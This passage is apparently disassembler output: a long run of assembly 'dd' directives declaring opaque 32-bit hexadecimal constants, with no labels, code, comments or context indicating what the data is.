		dd 3A31D40Ah, 0C8E04E2Ch, 0F31FE1CBh, 0B200D93Bh, 7CBF58FAh
		dd 0E9400DEh, 7CA77EEh,	0C600349Ah, 2187F345h, 380FF498h
		dd 35BC38EDh, 0AA038FD8h, 9E34E886h, 1B60C9B0h,	6811200h
		dd 93B78A37h, 88CF0021h, 0EEF86DAAh, 417AF4Ah, 7F00C49Fh
		dd 823F2D68h, 0E1DD0052h, 0AC603C3h, 5AE860CAh,	0DDFEAB28h
		dd 0C1845101h, 83BDBAB9h, 60C29E40h, 736F0054h,	0E3B2194Dh
		dd 460EA6A8h, 60A71738h, 98CE2A77h, 0E4791F2Bh,	7F11401Fh
		dd 455BDD2Ch, 1DE67309h, 205D814Fh, 47D8AA5Dh, 37F40E24h
		dd 7D60F9ACh, 9193DBC3h, 41DF3900h, 15D46FEEh, 0A4FEEDh
		dd 624F9243h, 0BFEF71BAh, 44A98001h, 7DCD2D25h,	70279930h
		dd 0A8940072h, 0EB54C858h, 7A28C210h, 0FD1CAC93h, 9E403B7Ch
		dd 0C7B59BF8h, 0E6FCB0BCh, 0E7D90075h, 0BA37EF26h, 74007F82h
		dd 0C2206E35h, 0FCAB018h, 0FAD23BD1h, 0AFB30900h, 45075A32h
		dd 7D29070Eh, 546E760h,	2518030Dh, 37C8C734h, 0A6C46A80h
		dd 7957CC00h, 7C351C8Ah, 89DB0F92h, 196007AFh, 603AC854h
		dd 841DF600h, 0D5A66455h, 0FB0A006Ah, 744810FDh, 0CB7A66B0h
		dd 39435201h, 0D9069B6Ch
		dd 0B7E8CCh, 0B6B05904h, 78CA480Fh, 6E655300h, 0BA3DCCD1h
		dd 0D5E44CDDh, 1AF54B00h, 812AAD3Eh, 72F6FE00h,	0E91C5DD9h
		dd 0EB920327h, 0DF6F912Bh, 0BD21F4C8h, 0A099F707h, 8A08A4Dh
		dd 9C4926h, 0D179D94Ch,	6CE5CDE0h, 3E98E900h, 0F18D4F65h
		dd 0CEBB0081h, 0F2ABF947h, 0FC00507Eh, 2035850Dh, 0EEB442h
		dd 8D48E7EBh, 10D557D3h, 4E99D91Eh, 0BCB6007Ch,	8A6ED897h
		dd 15EC00F1h, 0FBF48359h, 2603AFF8h, 1190E20Ah,	8F22E0EDh
		dd 6AB209C7h, 970041F7h, 0B6C5159Ah, 65716403h,	0A8C44EBEh
		dd 7E22966h, 6A365F67h,	7DABB0BFh, 0E40EE5EDh, 60C0E9AAh
		dd 0B408CE3Ch, 0C5A80309h, 8BFEB182h, 0F02336F1h, 0F700D354h
		dd 5D457502h, 0FAE2BA04h, 0DB530FE7h, 84001BBDh, 1F44813h
		dd 7B007275h, 8CA81F2Ch, 78EA752h, 0E1A6940Eh, 5D3190B4h
		dd 0FB01DA99h, 5AE2DB22h, 7EC41989h, 88D90091h,	1839AADCh
		dd 0C35CE4A8h, 8A3C7754h, 33D6004Bh, 8B939F25h,	387D0021h
		dd 60A2624Ah, 8D0009A6h, 11DDE105h, 9E356Fh, 6675CF80h
		dd 789F88DCh, 14FB7A00h, 0E7BD573Fh, 858C0027h,	0AF5AAB7Ch
		dd 4C00371Fh, 1123E81Ch, 1467FE65h, 83733F4Bh, 27ED9700h
		dd 0C3ADACD9h, 0E4564830h, 39D9135h, 1E986E12h,	329B5C5Fh
		dd 593950C8h, 0AC9F1800h, 1757E704h, 28E00013h,	0EA5AF19Bh
		dd 0BC00BFF3h, 0B26188E1h, 7C31B72Fh, 5EA0004Bh, 430C0BECh
		dd 0E300DB8Bh, 26E86F58h, 46B437h, 869206A9h, 23C1F2F5h
		dd 5D83CA00h, 33B6DE2Fh, 966B244Dh, 63D2002Ch, 0D9AA098Eh
		dd 785E7600h, 592B2F73h, 574C05DEh, 80D675C7h, 0EE0DE563h
		dd 1E566800h, 8BCCBBB3h, 5F4B1419h, 0A70187DEh,	0B0812090h
		dd 0E800C348h, 0AFCA137h, 0F611F9h, 0F85BD0BFh,	6B9BAE6Fh
		dd 0DD4DEE00h, 0CB7B7D1Eh, 7B70014h, 868374C1h,	190F2213h
		dd 189FE20h, 0B4766E57h, 0C9AAC8h, 44611B17h, 28210975h
		dd 0E77D0E03h, 8820CC33h, 0C9B399h, 0C4E0BB71h,	57A10109h
		dd 7FEAFC76h, 129EB200h, 0EE459834h, 352984Eh, 0D4C5D68Ch
		dd 7A1B478h, 477B21BEh,	0DA4B6075h, 6600EECFh, 0C6F80F20h
		dd 0D293DFh, 0BC234179h, 3D314C82h, 5F03D705h, 9E0077D8h
		dd 76FB1B67h, 0A0215CB6h, 9ECF5101h, 0F092D411h, 9F780249h
		dd 0D2A6AB00h, 0C02159E1h, 0D87E00E4h, 7F57094h, 0CE004F80h
		dd 79896EA0h, 35089Eh, 0D82AF677h, 5CC45491h, 41E9A31Fh
		dd 0BC53DFC0h, 0EE62F2B3h, 1F46FA3Bh, 87208A6Ch, 0A00255CDh
		dd 0DC8773CBh, 484C4D07h, 0EB405810h, 1F1163h, 0E8311C1Ah
		dd 0D2ED4151h, 0AC14F00h, 71EE3335h, 0DBAF0058h, 0E7DE6B78h
		dd 9D799B96h, 14994B58h, 8EEC60h, 231F4AB1h, 761E163h
		dd 0A422C50Ch, 49CB5044h, 8B004FE4h, 0BB437D86h, 145280h
		dd 69A2993Bh, 94DF465Eh, 0E403D776h, 681F31FAh,	0DC8EF8D2h
		dd 0E1710083h, 88D551C8h, 2B00ACECh, 0F09FB20Eh, 0E810E5h
		dd 2C8A4ECEh, 320F6446h, 8954FB01h, 0E9D0261Bh,	3C49F9F4h
		dd 0BC00F383h, 6676E8DEh, 0AFF2BEFDh, 0BBBDC600h, 0A2CA8BC5h
		dd 65F21E0Dh, 6EAEC023h, 0F32B1562h, 0FCE3BA07h, 0EF255B17h
		dd 96219AC0h, 419900C3h, 0AC14E85Dh, 10071FCCh,	4F23504Dh
		dd 0DFDC85F0h, 5EF13FFBh, 0BFEDA280h, 3E5538C1h, 0F5019C75h
		dd 96B25358h, 2D600E8Fh, 0F9600021h, 85719B19h,	3000AF46h
		dd 925E3E4h, 0E03EFD2h,	0A879FE2h, 288F7EE0h, 0E548DFF9h
		dd 1B88006Dh, 3D30C2CCh, 0D871011Ah, 5AC4A52Bh,	0A1F3D8BFh
		dd 0BDC86600h, 0F4A395ACh, 36B3000Dh, 5B4B8B42h, 1A009781h
		dd 0A66B14B4h, 1D2BA3A9h, 6458AE28h, 0CFA001C0h, 873AA49Ch
		dd 92B2305Ah, 3932F50h,	0A3472810h, 0D6D300F8h,	5AD5D1E6h
		dd 39058D92h, 738352ABh, 8C598A00h, 6B3768h, 0D5644380h
		dd 2C4285C3h, 0B3FD9200h, 0DA46DC03h, 0E8A7D56h, 0F263EFF8h
		dd 175F1D67h, 65EEB05Eh, 0BE001B14h, 4002D84Dh,	0A5FBDBh
		dd 0B2CE0980h, 8101EEAh, 0AFF42200h, 0FBDE3612h, 0AA28001Dh
		dd 0C2B63D2Dh, 19003725h, 4CF9E076h, 1EF50C5Ah,	47B146B7h
		dd 6FC0A09Dh, 0FF433322h, 0B09B9D40h, 0B3B29700h, 0A1B9E023h
		dd 831E480Dh, 0BED5DC13h, 1FE2D800h, 0CE6FA84h,	0C25A8E44h
		dd 0F4002088h, 0E418AD99h, 8F27DCh, 0CDA55497h,	4B70309Ch
		dd 0A40086F2h, 5F6CA158h, 0F4F3EE2Eh, 76E500D9h, 4AC1FBD5h
		dd 94002650h, 0AE723CEDh, 17C9D25h, 485F9B71h, 0E4B89C18h
		dd 56B0F0C4h, 9AE13B00h, 3D67FC6h, 2DA30F23h, 6AC0B697h
		dd 9E15C818h, 34AC18C0h, 4CA74D41h, 812C6E4h, 9F6807F5h
		dd 3F6E404Ch, 50958998h, 3EEE261Bh, 0C3FE00B4h,	0B3CB2617h
		dd 8B0E9574h, 41EA8Ch, 0C70C212h, 34C60FA9h, 22E08AF5h
		dd 75A51C97h, 0BE60C539h, 0C4480E40h, 0A3188EC6h, 90D79D49h
		dd 31DBDA1h, 0A2DC2094h, 0FAB07840h, 1F006855h,	0E0A112E6h
		dd 3B56282Eh, 45804EC2h, 5174AE9Eh, 89004963h, 0A887E6D2h
		dd 3B34B1DFh, 4280DB8Ah, 0C27971E3h, 651DC02Ah,	0E0C09C9Eh
		dd 0BF5746B8h, 0B2DE09EAh, 2C890EDDh, 843B5F80h, 0EE77F6DFh
		dd 0B800C1EAh, 5BFE1357h, 3C7F4249h, 9E802489h,	0A73687C2h
		dd 8600CAA8h, 5EBF0F3Eh, 8B0358h, 0D7C35D72h, 0BC95EAACh
		dd 0C6149A00h, 0D50AE664h, 821A3CA4h, 4334007Ch, 3A2D73B8h
		dd 0B28D292h, 0B2009A8Dh, 8C564FBEh, 0F0E17Bh, 888B3C73h
		dd 0FE9AA548h, 52689513h, 7B317C00h, 70FAD1BAh,	0F143397Ch
		dd 601A8200h, 6CB22946h, 1158FD00h, 0C7EA4A50h,	0F20B0072h
		dd 5F04AFB9h, 23E453C3h, 8F99CD00h, 0CCE3A355h,	1C580067h
		dd 0F2F0EDD8h, 4F00CEF1h, 76C912D1h, 0DA92C3h, 6294145Eh
		dd 0B088A629h, 1261703Eh, 510031A0h, 0BB868019h, 23640035h
		dd 0B291F297h, 7B00DE5Dh, 0CC3F2813h, 4356B94h,	5E35C65h
		dd 0AA3180FDh, 3B0076FCh, 0D1FFFB5Eh, 9CAEB9h, 17965365h
		dd 25FA2AE2h, 0B100EB7Ah, 80CDB8B3h, 79040Bh, 11893372h
		dd 4149D1D9h, 30661D00h, 0C159A34Eh, 15B90E18h,	50009B80h
		dd 0E77ECF33h, 7FD848h,	0E80D531Eh, 18B3F24h, 2697C427h
		dd 0F24FA27Fh, 303C3CC0h, 0ECD8DA1Eh, 542AC800h, 123619Fh
		dd 71F0BFFAh, 0DC56D9CEh, 770BE22Ch, 812D3128h,	0AAD72BE4h
		dd 4E3E8h, 633C6CF7h, 70F05F77h, 26A00B01h, 0D42D42B0h
		dd 0EA0954CCh, 0EFF781Ch, 23F37AECh, 11FE0580h,	0A0024B8h
		dd 0D47DCC87h, 968570h,	0E4B6591Fh, 0A2EB5B8Ah,	0CA300500h
		dd 0CDD5671Bh, 8E0900C2h, 39296EEDh, 16F21D9Bh,	5DEAF300h
		dd 50025AB6h, 1ECC0F72h, 8006EE7h, 9D435127h, 9C0030F6h
		dd 642AD8CBh, 9254B5h, 80B4D165h, 0AFB038A4h, 24A12600h
		dd 134B74BBh, 0AAF3076Eh, 506BF0B1h, 0D61F49Ch,	0F57C1500h
		dd 3D6393F7h, 3AB53C1Fh, 72DB1C00h, 143299ECh, 0D1C20F0h
		dd 0A54098A1h, 5FC7B5C5h, 57D90062h, 675DB00Bh,	4871D86Dh
		dd 961CFC00h, 0F92C6546h, 86D50090h, 435E804Eh,	0A80017ADh
		dd 0EE7ED3AEh, 1DF308h,	9739BC88h, 8A9699A3h, 0F1550200h
		dd 197059AFh, 0C2370EC9h, 6EA08DFEh, 0D5833B6Dh, 0F4153500h
		dd 97E5A8C4h, 28570019h, 4039B905h, 7C0E3CB2h, 0A04DC659h
		dd 6A856096h, 0F1E66Bh,	2E3D9812h, 826D7750h, 3222E20Fh
		dd 76B9478Eh, 261E96BAh, 43F3AC43h, 0C1B3FB55h,	13306973h
		dd 880400B2h, 0D68339FFh
		dd 3800311Eh, 86717E94h, 5319D4h, 0C8AFB401h, 7F24F34Ah
		dd 5D63F507h, 6F132306h, 0C13390A6h, 0EA3900F7h, 8CF84C0Ch
		dd 523CF327h, 2D4D8088h, 0C2F5B59Ah, 66180079h,	650BDE1Bh
		dd 110070BDh, 3B85D4DBh, 2678B7Ch, 0EF6F6B59h, 3640CD28h
		dd 1201DABDh, 8AC65FDCh, 2CF4395Dh, 0C1F0F42h, 0C39E9C3Dh
		dd 0FDDB3ABCh, 0CF307888h, 3C91CC00h, 0A4649934h, 3F9602FBh
		dd 0D5F82DFh, 0AED1605Dh, 1FB200B5h, 9C0E68ECh,	0D2B859EDh
		dd 32145800h, 15CE2F0Fh, 378A0060h, 71E706CDh, 0F973DE93h
		dd 0FCBE6816h, 0D4909401h, 96E41A65h, 6A9E1E48h, 3911E2Ch
		dd 2AEBFBBDh, 71A67098h, 3800CBF8h, 2D510BDCh, 0E9E44D2h
		dd 76672801h, 1E00D609h, 0DBB9D8CAh, 803A2B3Bh,	0F857747h
		dd 1EC11F9h, 6CA2613Ch,	0D4E552BBh, 56003FCEh, 0CB829DB5h
		dd 0F86929Ch, 5D344B93h, 17413180h, 8000EBC9h, 3CD3F2C7h
		dd 1E2083E1h, 0C042B3A8h, 4FC9D69Dh, 76EAE84Ch,	6C3E3700h
		dd 0A517480Bh, 0FE220057h, 0ECFA397Fh, 627CA0BEh, 0B5F0EB00h
		dd 0AAD12B4Ch, 249063h,	694219DBh, 74978DD2h, 0A4EB4D00h
		dd 45E91F41h, 0A77408h,	777FA09h, 43EDA939h, 0D61275E2h
		dd 53006752h, 0E5EFD120h, 1C3600BBh, 1D1B078Dh,	0F700898Bh
		dd 65C9CB45h, 473196h, 4BD224D8h, 51B98FDFh, 64AAF706h
		dd 2618Ch, 78479E52h, 0DD708815h, 220076FAh, 99CC1D01h
		dd 85B3F3h, 3CF4427Eh, 1C2CAECDh, 0B64EBB00h, 68B1108Dh
		dd 4130020h, 769ABA5h, 3700B7CDh, 0D82E028Eh, 1CE90582h
		dd 802A6354h, 0D6FF57D5h, 0FD001192h, 70BE0849h, 355DCDh
		dd 2F37964Fh, 7DBF9ACFh, 80F9601Fh, 20C8FC3h, 0D8D0E312h
		dd 1CE5A73Ch, 41E0F169h, 5DF9A9D2h, 0F316CD9Fh,	586076B0h
		dd 41ED3900h, 2F0357C3h, 964E0709h, 4E1F1CF2h, 0C22D53E0h
		dd 6B000B01h, 0FCA4D2FBh, 4FFFD5h, 0F59F1B2Ah, 13768C1Eh
		dd 64C38A00h, 65E580ADh, 0E2550001h, 0D16711DEh, 8C008863h
		dd 4A5B79Ch, 70A29DBh, 83B84894h, 0F09327EBh, 9971C57h
		dd 0ECF83D7Dh, 0DA898400h, 0DFD6A00Ch, 43CF00FEh, 0A7DBF205h
		dd 0BB004A51h, 6F88D25h, 421502h, 0E33BB623h, 5243E23Ah
		dd 0BE001CF8h, 0AB8120D8h, 199C1EBh, 1F84A2F8h,	0FC1EE0F6h
		dd 0F40024D0h, 3CF06DBCh, 0F2D5D9h, 364BE8E6h, 0ECCB2E59h
		dd 0C22B4500h, 0DA7699C3h, 91090366h, 4A0E3172h, 1E56DEE0h
		dd 8656E00h, 0BF0C8776h, 4F17175Dh, 685507A1h, 103420AFh
		dd 11007627h, 0CFEEF720h, 6CDCB5h, 29EC2FDFh, 40F490FDh
		dd 6DA9300h, 0FC798B5Eh, 0E4860044h, 0D0F0A091h, 83000B1Ah
		dd 1B1E6107h, 0D6A694h,	0D95BA52Ah, 0FFA41439h,	604EC0Eh
		dd 34E18060h, 3FFAC0B1h, 4900BA30h, 36FF3275h, 410071D8h
		dd 0E277A69Eh, 7914DBh,	39D226F9h, 7D6375CCh, 0F8FC3Dh
		dd 0B364D640h, 4B943A01h, 981F8007h, 9100B9C1h,	4A69DC8Eh
		dd 0F21BC51Ah, 71A2723Dh, 1C2801B3h, 60720183h,	0F29DE4C4h
		dd 0B6E4F590h, 36D1900h, 0AD413AC9h, 8398C1h, 705A0BB3h
		dd 0EBA1EE39h, 7E75E00h, 66F096E0h, 792407D7h, 708A0D56h
		dd 0E14EE574h, 0E88B8107h, 71075110h, 0A01D42E0h, 5370C4h
		dd 812F6886h, 1F54B25Ah, 0D5004498h, 0F8C7484Eh, 0A01B988Bh
		dd 1C4FCDDBh, 2F28BDh, 9EC91572h, 6B07D050h, 8EC30F62h
		dd 0A1F0F9E0h, 17A407B7h, 17410D21h, 0E5B0C01Eh, 0CB60C6DAh
		dd 6DB1C5F4h, 7DF65Bh, 21EFB899h, 3827836Ch, 0BD8D5400h
		dd 75DD45C0h, 0BC3B002Fh, 9E46FC2h, 5D005C4Ch, 9D30F980h
		dd 0B0B6348Eh, 3DAE88Ch, 0DD85FCECh, 57C844B1h,	0D169801h
		dd 6B002EDBh, 0CAA6807Ah, 913800BBh, 74321B06h,	2707CFB3h
		dd 0EF9FA8DDh, 0A9593E60h, 778C1601h, 0C0621F2Fh, 2B2A20C6h
		dd 0F000812Ch, 0C21F1B38h, 28456Ah, 5B187888h, 727E0F11h
		dd 99A73500h, 7710F139h, 30B50052h, 0CA841A82h,	8E009EA1h
		dd 0D5762EF0h, 0FAB8364h, 0B390E985h, 41D36220h, 7700F14Bh
		dd 34F689D8h, 0A39304h,	0A1D2B0D5h, 9D0CC5F8h, 2F03A4F6h
		dd 0F4F25BDh, 8050D29Fh, 0CEE6CFEDh, 97F20Dh, 0AC6A42C8h
		dd 0C5F51D1Fh, 0F0804900h, 7A6316B2h, 2C673CD2h, 0CF1D27BCh
		dd 0B4BC0E64h, 0CDB9EB20h, 4A3CF52Eh, 84029290h, 0F27D1C00h
		dd 0AB9778h, 91D5E67h, 7042BD13h, 292BD103h, 88AC9B8Eh
		dd 2FB9D5h, 3694C2CCh, 0F377EEFDh, 61741600h, 0F5F01E76h
		dd 0D1100E5Bh, 0AE00817Ah, 0BC6CC8E9h, 4F0AF400h, 90A83DD0h
		dd 50640396h, 3F7A6720h, 54688E90h, 0A900DDE0h,	0BA1D1ED9h
		dd 1DC5CF56h, 64D3C6h, 6FE7D7E8h, 0DF00FA45h, 7CD6EF08h
		dd 7DCE6348h, 88FC00F8h, 0C3B798F3h, 2B01D31Ah,	465A4F05h
		dd 0EDC88FADh, 25513FC8h, 0E317F080h, 989A649h,	0F2213500h
		dd 6E010693h, 0FACC009Ch, 0C988AC1Fh, 0A60E55E4h, 0C0629923h
		dd 0EA6543D1h, 0A7890033h, 96BE574Ah, 8E00EF5Ch, 145206C2h
		dd 758DE3DBh, 5A4824D9h, 0C99100D2h, 89643E8Ch,	4BA9A300h
		dd 0CCAD3F4Dh, 0A4AA3802h, 40DA2D1Dh, 23CE1FD6h, 4F00BE6Eh
		dd 0D51655Eh, 397BD2h, 0E725FE55h, 8E05F975h, 0F2878407h
		dd 0AD10DE11h, 733047h,	0F3490261h, 9A151FA9h, 0E298CF1Eh
		dd 0FB27D207h, 0FE9E001Bh, 3973335h, 0BC46CC2Dh, 0B8B86343h
		dd 9E000B29h, 21505A19h, 0BF3EF8h, 0B52E62D2h, 6601EA26h
		dd 0ABE35303h, 0F04B3599h, 2C8703h, 0CC2E390Dh,	50849AE8h
		dd 94477F00h, 7CE0C933h, 4CBD00A5h, 62BA966Ch, 650088A0h
		dd 31C43975h, 2EFF0h, 0A8A2EDBBh, 194446EAh, 0C2C66A00h
		dd 115E33CFh, 0AF780105h, 6C551A1Dh, 749C01Fh, 89860300h
		dd 0CC6B30E4h, 0E002039Dh, 0CFD30CD9h, 7144D880h, 0FB3C1700h
		dd 0D047B587h, 0C31C1D34h, 352D0036h, 4A56FA9Fh, 1FB1D72Ch
		dd 6F609A00h, 74E06C69h, 26F40023h, 38DD4F2Ah, 0CF07A878h
		dd 0E316D813h, 0E0529530h, 48F20024h, 0C054ED75h, 0FA7FABDEh
		dd 1CA4CE00h, 77367A8Eh, 0F2F00004h, 5BAD4AA1h,	7200D03Eh
		dd 0E442D140h, 6C26A5h,	68C6CEFFh, 0FC8BAD55h, 377A7700h
		dd 0BC7F1C7Ch, 5426004Ch, 9E5D5311h, 74001FE7h,	0FD61B722h
		dd 1FE6783h, 4ABC3041h,	0D0B46542h, 460F8009h, 358D1h
		dd 92CFF818h, 3D6800F6h, 8B7025F1h, 7700F2BAh, 2F809D2Eh
		dd 43D2C3h, 0EF9CBE8Eh,	52C77CE9h, 0DC398D00h, 0AE20B4ADh
		dd 46D60DAh, 0B00BED45h, 2C7A3300h, 0E0227E44h,	1ACEC72h
		dd 35071859h, 0CB16F81Dh, 0BDE2C087h, 0F703E941h, 1364DAE6h
		dd 2B5CA8B1h, 814B00C9h, 6273B924h, 34006DEEh, 0C40132A4h
		dd 7F1A27h, 9BD24330h, 71F56A0Dh, 5AF1FA0Fh, 0C772A7D7h
		dd 9D3363DEh, 4458F83Fh, 77CF0E75h, 560B441h, 19B0B3FEh
		dd 2A0B8DEEh, 1FA3754h,	0B1A98C63h, 902360C0h, 0F8830098h
		dd 7A12D53Ah, 0E700ECEBh, 653713E4h, 79CA263Ch,	788A00B6h
		dd 0BBC7227Bh, 0E300A54Dh, 77BFCF14h, 0FD4A4FBh, 6CE9F35Ah
		dd 7A133580h, 0F403CCC1h, 0CEED95A5h, 7EE8C053h, 0E0C0E9Ah
		dd 0BDE062C9h, 4DB436DBh, 54599D00h, 3ABCBBB8h,	7F090018h
		dd 24B7D9DFh, 6900CB8Ah, 769F6EEAh, 0FE1B72BCh,	1284386Ah
		dd 0BE64C003h, 88E0D422h, 0BF00329Dh, 0D70CDAFAh, 0E2B99Bh
		dd 4CE6E530h, 0EACFDB94h, 0F392A900h, 0E9DA54EFh, 5BD500A4h
		dd 0B65E17E2h, 0FD482FF6h
		dd 0B740762h, 0EE058F9h, 19787DD8h, 0BE40C26Dh,	6CA8F4B2h
		dd 0C62B5E00h, 72EA3796h, 0F00900A7h, 97470C1Dh, 6700B52Fh
		dd 0D136E13Fh, 164851h,	0FA0FA57h, 0B88D99E5h, 5B9EA600h
		dd 5D74176Dh, 8CA3005Eh, 0D5D7A2E9h, 0FE035A79h, 2A194E0Dh
		dd 72F0B007h, 5FFA00D9h, 0E589216Fh, 0D607476Ch, 66A7EC8Bh
		dd 0AB82A650h, 111700BEh, 6F238704h, 51004A3Bh,	8BAF9A47h
		dd 0F83C5Bh, 94E7E89Bh,	9D92F4BFh, 0AD50E20Eh, 21B6C0D8h
		dd 0D0D1EBh, 16232FA8h,	0E61A58D4h, 64C39F00h, 1F569EC8h
		dd 550E005Eh, 0C0D976F2h, 0BD00DAF7h, 5DEF7E70h, 7D126179h
		dd 31D03B40h, 974F2980h, 285AA058h, 9B007575h, 9081B802h
		dd 39316AA5h, 38BF62FCh, 86653E83h, 41D03CB1h, 0A6001B92h
		dd 0A0BB9C5h, 5251FCEh,	0E79FC8DCh, 4E27803Dh, 0E6009ABCh
		dd 6EDF014Dh, 7117E5h, 19B9EE78h, 34AAF48h, 0A2C2ED00h
		dd 80C5285Eh, 552400A0h, 539F0E94h, 7907EBD1h, 52406DE5h
		dd 0C080EE94h, 0E05B9706h, 35F2FBh, 7383C0F8h, 3692A3F4h
		dd 0F97E04EAh, 1C702A05h, 67803F06h, 1C98FF18h,	0F10983h
		dd 4A29B1EFh, 0B5006608h, 607989CCh, 7131AC7Dh,	0D5F83F73h
		dd 823CC900h, 0A17EB095h, 0AF674C00h, 87ADC4CAh, 3D091F9Ch
		dd 3597C74Ah, 0D8C88193h, 0A639E8A1h, 33ECB51Eh, 82070C00h
		dd 32CB75h, 6E2DC177h, 8F48F683h, 4CEE6000h, 53B68811h
		dd 2E7803F3h, 8BA4905h,	6F30B7C0h, 7141F00h, 0E7DA12C8h
		dd 74D81F80h, 21AF0F81h, 4B014440h, 0EB00D516h,	0A3A00DDFh
		dd 34E26h, 397063C4h, 0E0FF3356h, 7AED6202h, 0E0A4D06Ch
		dd 0B45A23h, 4919877Fh,	86F42794h, 0DD885Ch, 4E91A2CDh
		dd 25DA7Bh, 0C8982D07h,	3E3F3CBCh, 0F086D03h, 0C872208Ch
		dd 3F6B555Ch, 0BA00DCB0h, 0C1F89B71h, 0E0011295h, 0E113145h
		dd 9930477Eh, 0A9E50046h, 0EB679BE8h, 5E0069EAh, 0D9BB12A5h
		dd 0F81ADBA1h, 5D5C0FDEh, 64203EF1h, 5E99F575h,	30FF9E00h
		dd 0F87BBFD2h, 0F6E8D0h, 0F9FD8ECBh, 0DCD48040h, 585F050Fh
		dd 518F0145h, 12E4BE81h, 0EEA00C2h, 3F9F6A66h, 0DA1C4277h
		dd 0ACC307E5h, 82B069h,	15F0A65Ah, 129A1E5Ah, 76D8F600h
		dd 0EDB052F5h, 0FB29871h, 280B6E74h, 0C0FD4364h, 70D5548h
		dd 5120A001h, 4535DE90h, 1D6ED5DCh, 0F076CCh, 0E80F6D63h
		dd 0D700B428h, 8F8C88Bh, 43925Ch, 7529C256h, 0CD328D5Eh
		dd 59CA7B1Eh, 2082604Eh, 5112EA24h, 91BE032Ch, 1B1E8173h
		dd 655006C0h, 0DD398E00h, 0BC03E79h, 0CF050189h, 54BB1042h
		dd 32D2F4E5h, 46C3CE00h, 8D957A5Ch, 313002Eh, 78BF6760h
		dd 6A3DA14Fh, 0A56600D0h, 0DA4ED93Eh, 9C7100F7h, 0E199EC6Dh
		dd 360056D7h, 1286C30Ch, 0A6A090h, 19F86070h, 3D790840h
		dd 0F7D23500h, 9F14DA30h, 272203CBh, 0BFB5698h,	64C9E4E0h
		dd 9286F00h, 5AE09EEFh,	0D8BF1C7Fh, 81E6C01Fh, 0AE0720A9h
		dd 109FB50Fh, 85F800A4h, 3F8F18h, 0E42D3894h, 8E742E57h
		dd 0B7CFF907h, 0DF785Ch, 0E95BF35Fh, 0D83F002Bh, 0EE857DABh
		dd 0F5079B91h, 0BF1169F1h, 6F451770h, 0C64E1FF2h, 37C7808Bh
		dd 9C470161h, 2009EB8h,	0B5215329h, 0F45044Eh, 68B92B10h
		dd 31E01400h, 857E9792h, 0A225DC03h, 0A03F408Fh, 0FBD345h
		dd 0BEB754BCh, 4DBA87D4h, 99C6EF00h, 94633F32h,	52B439F0h
		dd 0E545CAEh, 3541D150h, 70083D20h, 7D1F76CBh, 13006109h
		dd 4D06AC3Bh, 6B8C3F94h, 906A4700h, 0A72B8F82h,	0EC962F07h
		dd 1000AC25h, 65CB36h, 7967BB09h, 37B84604h, 7FC5800h
		dd 664C5B42h, 9A792Bh, 640BF05Fh, 3CA3A288h, 0F1753300h
		dd 901E45F8h, 0D320500Ah, 9CB1CB7h, 0C52E8FAAh,	4DB3300h
		dd 8B000C67h, 1845E2C6h, 49CB643h, 0E51BE099h, 0ED6CC01Dh
		dd 0B1D7FB8h, 0E20075BDh, 12B008D7h, 7B83006Fh,	4BF48592h
		dd 28000588h, 4EDC576Ch, 90C5A9Bh, 0E0BD3CB7h, 76CDE8Ah
		dd 30F3398Ah, 0ABD60267h, 0BDDF6D02h, 610401FEh, 0E5E899BBh
		dd 0B9FC68h, 1D18D7D1h,	14038051h, 895F4200h, 5A2F8B2Eh
		dd 0D2DC07C2h, 83D13F50h, 0F9B02D4Dh, 4AF85433h, 0B9C29D07h
		dd 20D79288h, 7144A07Fh, 0DDB1F0h, 7369B66Fh, 5FEB6633h
		dd 6ED641Ch, 8CDE25C3h,	0C04EF0FAh, 8405006Dh, 0E4BE3E6Bh
		dd 0E0008A6Ch, 3789168Eh, 0CECFB6h, 2D3771Bh, 0E838FFEEh
		dd 94A46D00h, 7D0A72E3h, 6B2800F4h, 0E0C9F13Dh,	0CA00C642h
		dd 0ADFB5A58h, 16D51F83h, 1093CC8h, 0B28CFE7Ah,	6F60D2DCh
		dd 460E0BF4h, 40324968h, 0CD278DC5h, 0E41407A3h, 3047EC25h
		dd 2646A75h, 0A4016713h, 6593D000h, 7446AC28h, 0CB7497h
		dd 0D96C9A0Bh, 0CDDDB3C6h, 8F6EF300h, 0A73D8924h, 4B73A6h
		dd 4F81EB27h, 0BE066AADh, 94C93207h, 0CD7034EFh, 19BF7E0h
		dd 49F42384h, 0E067B917h, 2703755Bh, 0E0ED4485h, 2ED0C888h
		dd 0E2011C1Fh, 6BC18348h, 0D98B7C7Dh, 0DE5249C8h, 2CA89500h
		dd 0AFE7B560h, 16D7017Fh, 7178176Fh, 7972C467h,	4BF38F1Fh
		dd 3274FE40h, 591FA8h, 0A2FC3734h, 28CB6FCCh, 5842F100h
		dd 184C296Dh, 90C80369h, 0A2232CC7h, 20F7F2F9h,	73005B52h
		dd 858994DBh, 266602BBh, 0DF1F54h, 8B4A7052h, 0F400CAB9h
		dd 0B262DB17h, 0BCE1E8h, 81203BC6h, 0AFA730C5h,	0AD84B600h
		dd 60736BFDh, 5E430729h, 77F5120Ch, 94430E4h, 0B304C48Dh
		dd 2D1DFF3Eh, 22782F80h, 4B3700A2h, 944E0A31h, 2A00B9E2h
		dd 0CE0C449Dh, 0F1ECCFh, 15D10DCDh, 0EF81DB74h,	9404B400h
		dd 7FA1AF03h, 33E60010h, 0FF1A20C6h, 7D00CAB3h,	9938E130h
		dd 0F34051h, 281316CEh,	0ACDDBA7Eh, 53E98200h, 0A45F4429h
		dd 0E01D0060h, 0D41E439Eh, 2B0F4817h, 0E05BFA6Ch, 34A0DB7Eh
		dd 38600062h, 0CE03510Bh, 7C001471h, 0FEDDAE75h, 75D088DEh
		dd 81000E2h, 0BC6EA2E6h, 0B8008693h, 31EFA0EEh,	0E48B0B8Eh
		dd 0A53F1C80h, 0CA9B0FF8h, 0B74FB940h, 4C004297h, 900F784Bh
		dd 3C0D012h, 0D1CD0996h, 8C008830h, 0E067CF6h, 5821233h
		dd 5D57ADD5h, 0C87B8038h, 0CA506055h, 6C008D88h, 2A809983h
		dd 70B62D5h, 4F56C4F8h,	805B75B2h, 92088E21h, 79BDBE00h
		dd 0FEFA2219h, 1C41FC9Fh, 40B2612Ch, 0D515319Ch, 0E032BDBh
		dd 0BB9F8FDEh, 0A42FC8DAh, 0E5E403E2h, 0B11107Ah, 711DB6C8h
		dd 6EAF5900h, 7618A2CFh, 77F4E20Ch, 41F303C2h, 531723F1h
		dd 0F570F7D8h, 4A4B9D1Eh, 4D0BD247h, 50662DD0h,	0AA3000EDh
		dd 0EA702F88h, 8FF88097h, 54326100h, 0A9F17D74h, 0D357008Bh
